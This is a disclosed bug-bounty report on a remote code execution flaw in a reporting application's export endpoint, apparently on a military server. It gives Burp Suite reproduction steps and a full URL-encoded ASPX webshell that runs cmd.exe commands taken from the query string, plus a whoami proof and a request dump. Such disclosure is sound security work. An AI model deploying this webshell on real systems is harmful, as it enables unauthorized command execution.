How it was found

Note In the days leading up to this event, I looked at ███████ due to the ████████ press release which described this as the scope for this event. I understand that this is outside of the current scope but I feel obligated to report this.

Press release: ██████████

"During the third iteration the entire ██████ domain can be targeted by participants as well, but rewards will be paid only for discovering certain categories of vulnerabilities."

Summary

The endpoint at ████ is vulnerable to a remote code execution vulnerability. The ?rdExportFilename= parameter allows an attacker to write any filetype to any folder and the rdReportName parameter allows them to control the contents. This allows them to write a webshell to the server.

Reproduction Steps:

1. Visit ██████████and login with the credentials: █████
2. Go here: ██████and scroll down to the "Reports" section. i
3. Choose any of them and click "Run Report". In the pop-up, click Run Report again.
4. You will be redirected to █████?rdNoShowWait=True. Wait for this page to load.
5. Start intercepting requests with Burp Suite.
6. In the upper right-hand corner, click "Export to Excel" and intercept the POST request to /RServer/rdPage.aspx
7. Change the rdReportFormat and the rdExcelOutputFormat query parameters to NativeExcel.
8. Change the rdExportFilename parameter to yourfilename.aspx
9. In the POST body, change the rdReportName parameter to your url-encoded aspx shell:

%3c%25%40%20%50%61%67%65%20%4c%61%6e%67%75%61%67%65%3d%22%43%23%22%25%3e%3c%25%40%20%49%6d%70%6f%72%74%20%4e%61%6d%65%73%70%61%63%65%3d%22%53%79%73%74%65%6d%22%20%25%3e%0d%0a%3c%25%20%0d%0a%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%20%70%72%6f%63%65%73%73%20%3d%20%6e%65%77%20%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%28%29%3b%0d%0a%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%53%74%61%72%74%49%6e%66%6f%20%73%74%61%72%74%49%6e%66%6f%20%3d%20%6e%65%77%20%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%53%74%61%72%74%49%6e%66%6f%28%29%3b%0d%0a%73%74%61%72%74%49%6e%66%6f%2e%55%73%65%53%68%65%6c%6c%45%78%65%63%75%74%65%20%3d%20%66%61%6c%73%65%3b%0d%0a%73%74%61%72%74%49%6e%66%6f%2e%52%65%64%69%72%65%63%74%53%74%61%6e%64%61%72%64%4f%75%74%70%75%74%20%3d%20%74%72%75%65%3b%0d%0a%73%74%61%72%74%49%6e%66%6f%2e%46%69%6c%65%4e%61%6d%65%20%3d%20%22%43%4d%44%2e%65%78%65%22%3b%0d%0a%73%74%72%69%6e%67%20%63%6d%64%20%3d%20%52%65%71%75%65%73%74%2e%51%75%65%72%79%53%74%72%69%6e%67%5b%22%36%38%63%32%63%38%62%31%66%63%34%37%37%36%36%65%61%66%34%33%30%32%37%61%38%65%61%63%61%31%32%31%22%5d%3b%0d%0a%73%74%61%72%74%49%6e%66%6f%2e%41%72%67%75%6d%65%6e%74%73%20%3d%20%22%2f%63%20%22%2b%63%6d%64%3b%0d%0a%70%72%6f%63%65%73%73%2e%53%74%61%72%74%49%6e%66%6f%20%3d%20%73%74%61%72%74%49%6e%66%6f%3b%0d%0a%70%72%6f%63%65%73%73%2e%53%74%61%72%74%28%29%3b%0d%0a%73%74%72%69%6e%67%20%6f%75%74%70%75%74%20%3d%20%70%72%6f%63%65%73%73%2e%53%74%61%6e%64%61%72%64%4f%75%74%70%75%74%2e%52%65%61%64%54%6f%45%6e%64%28%29%3b%0d%0a%52%65%73%70%6f%6e%73%65%2e%57%72%69%74%65%28%6f%75%74%70%75%74%29%3b%0d%0a%70%72%6f%63%65%73%73%2e%57%61%69%74%46%6f%72%45%78%69%74%28%29%3b%0d%0a%0d%0a%25%3e%3c%25%40%20%50%61%67%65%20%4c%61%6e%67%75%61%67%65%3d%22%43%23%22%25%3e%3c%25%40%20%49%6d%70%6f%72%74%20%4e%61%6d%65%73%70%61%63%65%3d%22%53%79%73%74%65%6d%22%20%25%3e%0d%0a%3c%25%20%0d%0a%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%20%70%72%6f%63%65%73%73%20%3d%20%6e%65%77%20%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%28%29%3b%0d%0a%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%53%74%61%72%74%49%6e%66%6f%20%73%74%61%72%74%49%6e%66%6f%20%3d%20%6e%65%77%20%53%79%73%74%65%6d%2e%44%69%61%67%6e%6f%73%74%69%63%73%2e%50%72%6f%63%65%73%73%53%74%61%72%74%49%6e%66%6f%28%29%3b%0d%0a%73%74%61%72%74%49%6e%66%6f%2e%55%73%65%53%68%65%6c%6c%45%78%65%63%75%74%65%20%3d%20%66%61%6c%73%65%3b%0d%0a%73%74%61%72%74%49%6e%66%6f%2e%52%65%64%69%72%65%63%74%53%74%61%6e%64%61%72%64%4f%75%74%70%75%74%20%3d%20%74%72%75%65%3b%0d%0a%73%74%61%72%74%49%6e%66%6f%2e%46%69%6c%65%4e%61%6d%65%20%3d%20%22%43%4d%44%2e%65%78%65%22%3b%0d%0a%73%74%72%69%6e%67%20%63%6d%64%20%3d%20%52%65%71%75%65%73%74%2e%51%75%65%72%79%53%74%72%69%6e%67%5b%22%36%38%63%32%63%38%62%31%66%63%34%37%37%36%36%65%61%66%34%33%30%32%37%61%38%65%61%63%61%31%32%31%22%5d%3b%0d%0a%73%74%61%72%74%49%6e%66%6f%2e%41%72%67%75%6d%65%6e%74%73%20%3d%20%22%2f%63%20%22%2b%63%6d%64%3b%0d%0a%70%72%6f%63%65%73%73%2e%53%74%61%72%74%49%6e%66%6f%20%3d%20%73%74%61%72%74%49%6e%66%6f%3b%0d%0a%70%72%6f%63%65%73%73%2e%53%74%61%72%74%28%29%3b%0d%0a%73%74%72%69%6e%67%20%6f%75%74%70%75%74%20%3d%20%70%72%6f%63%65%73%73%2e%53%74%61%6e%64%61%72%64%4f%75%74%70%75%74%2e%52%65%61%64%54%6f%45%6e%64%28%29%3b%0d%0a%52%65%73%70%6f%6e%73%65%2e%57%72%69%74%65%28%6f%75%74%70%75%74%29%3b%0d%0a%70%72%6f%63%65%73%73%2e%57%61%69%74%46%6f%72%45%78%69%74%28%29%3b%0d%0a%0d%0a%25%3e

10. Now forward the request and you will be redirected to your shell.

Proof:

████████//RServer/rdDownload/rdExport-2b03ab86-09b8-47d8-82de-53c8d7a59f8d/7a4280fce025fa5e30901b4512dff3177a4280fce025fa5e30901b4512dff3177a4280fce025fa5e30901b4512dff3177a4280fce025fa5e30901b4512dff317.aspx?68c2c8b1fc47766eaf43027a8eaca121=whoami

████████

whoami: █████████

HTTP Request Dump

POST /RServer/rdPage.aspx?rdReport=agContentAccess&rdDataCache=1361055732&rdShowModes=%3dIIF(Left(%22agContentAccess%22%2c2)%20%3d%20%22ag%22%2c%20%22rdAgTable%22%2c%20)&rdReportFormat=NativeExcel&rdRequestForwarding=Form&rdExcelOutputFormat=NativeExcel&rdExportFilename=7a4280fce025fa5e30901b4512dff3177a4280fce025fa5e30901b4512dff3177a4280fce025fa5e30901b4512dff3177a4280fce025fa5e30901b4512dff317.aspx HTTP/1.1
Host:████████
Connection: close
Content-Length: 4639
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: ██████
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: ████?rdNoShowWait=True
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
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Impact

Critical, an attacker can execute commands on this military server.

Best, @cdl